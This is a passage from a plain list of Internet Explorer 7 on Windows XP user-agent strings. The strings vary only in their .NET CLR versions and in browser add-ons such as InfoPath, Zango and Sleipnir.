1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Sleipnir/2.7.2\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.507277777)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 1.0.3705; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04324.17)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04324.17; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.5.30428)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04324.17; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04324.17; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Sleipnir/2.6.0\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Sleipnir/2.8.0\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.0.3705; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.0.3705; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.5.30428)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30428)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MEGAUPLOAD 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Sleipnir/2.8.4\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; AskTB5.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.2.0.22177)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Zune 4.7)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; FDM; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.590; .NET CLR 3.5.20706)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; Seekmo 10.0.275.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MS-RTC LM 8; .NET CLR 3.0.04506.648; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Media Center PC 3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Zune 3.0; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.590)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; TheWorld)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152) Sleipnir/2.5.13\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.2; MSSDMC2.5.2219.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.6)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; Crazy Browser 3.0.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MEGAUPLOAD 3.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.0.1.20094)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; AskTB5.5)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Avalon 6.0.5070; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Crazy Browser 3.0.0 Beta2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; HbTools 4.7.5; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; AskTB5.6)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; Crazy Browser 3.0.0 Beta2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Lunascape 5.0 alpha3)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MS-RTC LM 8; InfoPath.2; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.314.0; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.345.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.406.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.427.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; WinFX RunTime 3.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; WinFX RunTime 3.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727; Sleipnir/2.9.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; Crazy Browser 2.0.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727) Sleipnir/2.8.4\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.590; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; GreenBrowser)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; Zune 2.0; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; MS-RTC LM 8; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; SpamBlockerUtility 4.8.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Zango 10.0.370.0; SpamBlockerUtility 4.8.4)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; FDM; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; Seekmo 10.0.275.0; Zango 10.0.341.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; Zango 10.0.314.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; Zango 10.0.370.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) (383; 383; 383)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 